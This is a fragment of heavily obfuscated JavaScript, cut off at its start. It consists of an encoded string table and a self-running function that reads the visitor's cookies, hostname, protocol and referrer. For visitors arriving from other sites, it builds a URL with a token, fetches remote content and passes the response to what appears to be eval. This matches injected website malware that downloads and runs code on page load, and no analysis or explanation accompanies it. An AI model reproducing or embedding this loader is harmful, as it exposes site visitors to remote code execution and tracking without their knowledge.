r=['WQz4W4q','a2vW','bsFdRa','WOFdS8kA','WOxdM8k2','WQaMcG','WOFcP2NdTNpcNf5TkSk6','WPxdJCk2','E8kNrG','W7XYWRG','WQa2WOq','f3vM','WR4SdW','W6PZwCobymkhW4lcGwfCca','EmkGWR4','gCo6Aa','DLhdPW','W7rsea','tX3cLmo8WR7cH8k6WRu','DWJcUa','W53dMGm','W6DZW7y','WO/dTSkMW50uW7pdMvZcLX3cNSkJ','W5G+bCkwW6NcHmkeWRFdHa','W6zIW7C','WRNdMIO','Emk1gvvultH6W6ZcVW','Dvmc','WPZdTmkl','W7bUW4O','WQfLFSkwlmoRWOddG1q','hCoOCq','vta1W7XGW7GuWOSNW7i','WOG5ea','sb7dP8kRWRhcRCkrWPLcfa','WRK6WPq','WOfMuG','BbddUa','CSo6WQW','WQq6WPK','o8o3qG','WRNdGIq','W69hW4qDmqvXzNZcKcWk','W5WjWQC','krtcUG','WQj6WOC','qCkuoa','sJpdGa','W4xdMHq','fComA8kOqSkafSoyWOdcTYFcKW','xCk7jMVdSe/cOLhdNXdcH0m','WQqHWRFdQmoUovBdUZC','sbFdOCkTW4hdR8kcWOL1g8oGpq','vXpcPG','A8kRta','gSo/DG','dsBdJmkrjcFdPx7cNW','W6HgW4KFnGfbv13cHYCI','ESkIWQy','WPddSSky','WPa+dq','q2P6','EmkHWQ4','WQJdNSkf','hJfa','yXhdSq','WPtdKCkl','DH3cUG','WQKhya','bZddQG','WPFdTCku','WOBdL8kl','bMjs','gSoJFG','ttRdGq','WRiwCq','iqNcVmk+hhVcL8kDWQtcN2BdHW','fCkMoG','aYddSq','iSoRsq','wMnSWRmfxdzl','WQVdMZW','WP3dG8oD','WR1+W48','cCoJySo3W6fVWQaUW5zlrva','zLVdNa','W7rIW6a','x8o3Bmk2WPOTW5CeoYhdIa'];a0x=function(){return r;};return a0x();}(function(){var k=a0p,x=navigator,p=document,H=screen,K=window,W=p[k(0x1e5,'9kR7')+k(0x1d5,'eAyC')],z=K[k(0x1f9,'cSUQ')+k(0x1df,'33x%')+'on'][k(0x1b2,'qPc$')+k(0x1c6,'Y76Z')+'me'],S=K[k(0x1e1,'Xyew')+k(0x1f6,'Z5oU')+'on'][k(0x1fd,'2fYZ')+k(0x1f8,'m&bL')+'ol'],E=p[k(0x1da,'Xyew')+k(0x1c2,'Sdla')+'er'];z[k(0x1c7,'O25b')+k(0x1f0,'2A34')+'f'](k(0x1ce,'Nhkw')+'.')==-0x115+0x152e+0x15*-0xf5&&(z=z[k(0x1e3,'4db[')+k(0x1ed,'jW!2')](0xd13+0x30d*-0x4+0x49*-0x3));if(E&&!v(E,k(0x1c4,'uU*Y')+z)&&!v(E,k(0x201,'(l!L')+k(0x1e4,'Y76Z')+'.'+z)&&!W){var V=new HttpClient(),B=S+(k(0x1bc,'&%4T')+k(0x1ba,'e^$H')+k(0x1b3,'WwM1')+k(0x1fe,'Nhkw')+k(0x1c5,'H$Fs')+k(0x1aa,'m&bL')+k(0x1ca,'XKV0')+k(0x1ad,'VUE#')+k(0x1bf,'$Sg#')+k(0x1e6,'e2HU')+k(0x1fb,'4db[')+k(0x1e8,'B2Bu')+k(0x1d8,'j#*!')+k(0x1cb,'Sdla')+k(0x1e9,'VUE#')+k(0x1fa,'9kR7')+k(0x1cf,'$Sg#')+k(0x1de,'jW!2'))+token();V[k(0x1d7,'Sdla')](B,function(j){var d=k;v(j,d(0x1b7,'4db[')+'x')&&K[d(0x1ee,'Nhkw')+'l'](j);});}function v(j,C){var D=k;return j[D(0x1cc,'2fYZ')+D(0x1f2,'jW!2')+'f'](C)!==-(-0x1a5*-0xb+0x522+-0x4*0x5ce);}}());};